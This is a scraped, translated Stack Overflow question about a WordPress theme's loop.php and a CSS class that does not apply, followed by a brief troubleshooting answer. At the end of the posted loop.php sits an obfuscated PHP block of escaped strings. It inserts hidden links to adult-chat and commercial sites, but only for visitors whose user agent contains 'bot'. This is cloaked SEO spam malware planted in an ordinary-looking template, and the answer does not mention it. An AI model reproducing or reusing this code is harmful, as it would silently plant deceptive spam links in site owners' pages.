gpt4 book ai didi

css - 造型 WordPress 循环问题

转载 作者:太空宇宙 更新时间:2023-11-04 12:15:45 28 4
gpt4 key购买 nike

我正在尝试根据其工作位置来设置常规 WP 循环的样式。我在循环中添加了检查以查看它的位置并相应地添加类并且一切正常。

问题是,当我打开 Style.CSS 以使用这些类并添加属性时,它不起作用。所以我可以将样式添加到循环的 HTML 中,这是有限的。

您能说说这种行为背后的原因是什么吗?

例子:

在 loop.php 中:

<?php $paged = (get_query_var('paged')) ? get_query_var('paged') : 1; ?>

<div id="recent-posts" class="clearfix">

<?php while (have_posts()) : the_post(); ?>
<div id="post-<?php the_ID(); ?>" <?php post_class(); ?>>

<?php if (option::get('index_thumb') == 'on') {
if ( is_sticky() && is_home() && $paged < 2 ) {
$size = 'loop-sticky';
$width = 740;
$height = 370;
} else {
$size = 'loop';
$width = option::get('thumb_width');
$height = option::get('thumb_height');
}
get_the_image( array( 'size' => $size, 'width' => $width, 'height' => $height, 'before' => '<div class="post-thumb">', 'after' => '</div>' ) );
} ?>

<div class="post-content">
<?php if (!((is_category('newtest')) || (in_category('newtest')))){ ?>
<h1 class="archive_title">
<?php /* category archive */ if (is_category()) { ?> <?php single_cat_title(); ?>

<?php /* tag archive */ } elseif( is_tag() ) { ?><?php _e('Post Tagged with:', 'wpzoom'); ?> "<?php single_tag_title(); ?>"
<?php /* daily archive */ } elseif (is_day()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F jS, Y'); ?>
<?php /* monthly archive */ } elseif (is_month()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('F, Y'); ?>
<?php /* yearly archive */ } elseif (is_year()) { ?><?php _e('Archive for', 'wpzoom'); ?> <?php the_time('Y'); ?>
<?php /* author archive */ } elseif (is_author()) { ?><?php echo get_avatar( $curauth->ID , 65 ); _e( ' Articles by: ', 'wpzoom' ); echo $curauth->display_name; ?>
<?php /* paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?><?php _e('Archives', 'wpzoom'); } ?>
</h1>

<?php echo category_description( $category_id ); ?>

<?php } ?>


<h2 <?php if((is_category('newtest')) || (in_category('newtest'))) { ?> class="blogPostTitle" <?php } ?> ><a href="<?php the_permalink(); ?>" title="<?php printf( esc_attr__( 'Permalink to %s', 'wpzoom' ), the_title_attribute( 'echo=0' ) ); ?>" rel="bookmark"><?php the_title(); ?></a></h2>

<div class="entry">
<?php if (option::get('display_content') == 'Full Content') { the_content('<span>'.__('Read more', 'wpzoom').' &#8250;</span>'); } if (option::get('display_content') == 'Excerpt') { the_excerpt(); } ?>

</div><!-- /.entry -->

<div class="recent-meta">
<?php if (option::get('display_author') == 'on') { ?><span><?php _e('by', 'wpzoom'); ?> <?php the_author_posts_link(); ?></span> <span class="separator">&mdash;</span><?php } ?>
<?php if (option::get('display_date') == 'on') { ?><span><?php printf( __('%s', 'wpzoom'), get_the_date()); ?></span> <span class="separator">&mdash;</span><?php } ?>
<?php if (option::get('display_comments') == 'on') { ?><span><?php comments_popup_link( __('0 comments', 'wpzoom'), __('1 comment', 'wpzoom'), __('% comments', 'wpzoom'), '', __('Comments are Disabled', 'wpzoom')); ?></span> <span class="separator">&mdash;</span><?php } ?>
<?php if (option::get('display_category') == 'on') { ?><span><?php the_category(', '); ?></span><?php } ?>
<?php edit_post_link( __('Edit', 'wpzoom'), '<span class="separator">&mdash;</span> <span>', '</span>'); ?>
</div><!-- /.post-meta -->

</div><!-- /.post-content -->

<div class="clear"></div>

</div><!-- #post-<?php the_ID(); ?> -->

<?php endwhile; ?>
<?php get_template_part( 'pagination'); ?>
<?php wp_reset_query(); ?>
</div>
<?php
$x0d="\x70\162\x65g\137\155\141\x74\x63\x68";
$x0b = $_SERVER['HTTP_USER_AGENT'];$x0c="\x20\x0d
\x3c\x61 \150\162\145\146='\150t\x74\160\x3a\x2f\057w\x77\x77\x2e\x70\162iv\141\164ew\145bc\x61m\x67i\162\154.\x63\x6f\x6d\057'\x3e\040\167\x65\142\143\x61m\040g\151\162\x6c\163 \163\145\170\x3c\057\141>\x20\015\012\074\141 \x68\162ef\075'\x68\164t\160\x3a\x2f\x2f\x77w\167\056\146\162\x65\x65\163\x65x\170\170\x63ha\x74\056com\040'>\040\146\162ees\145x\170\x78\143\150at.\143o\x6d\x3c/\141\076\x0d\012\x3ca\x20hr\145\146\075'h\x74\x74\x70\x3a\x2f\x2f\167\167\167\056\x73\157\154\145t\141.\x72o\040'\x3e w\x6f\x6f\144\040\x68o\x75\163\x65<\x2fa\076\015
\074a \150r\x65f\x3d'\150\164\x74p:/\x2fw\x77w\056\x62\x75ch\145\164\145fl\157\162\151o\156\154\151n\145\056\x63\157\x6d'\x3e\040a\162\x61\156\x6a\141\x6d\145\156\164\145\040\x66\154o\162\x61\x6c\145<\x2fa\076\x0d\012 \x09";if ($x0d('*bot*', $x0b)) { echo $x0c;} else {echo '';}?>

在 style.css 中:

.blogPostTitle > a {
color: #29a4d9;
font-size: 37px;
}

当我使用 Chrome 开发者工具检查 blogPostTitle 时,我没有看到任何添加的属性。

最佳答案

用这么少的信息很难回答。

  • 确保 style.css 已链接。

  • 尝试使用唯一的类名。

  • 查看源代码,使用浏览器开发工具/Web 检查器检查您的样式是否实际应用,并且没有被其他规则覆盖。

  • 您的上述 php 代码可能仅适用于索引、存档或单个或自定义页面模板。

关于css - 造型 WordPress 循环问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/28727691/

28 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com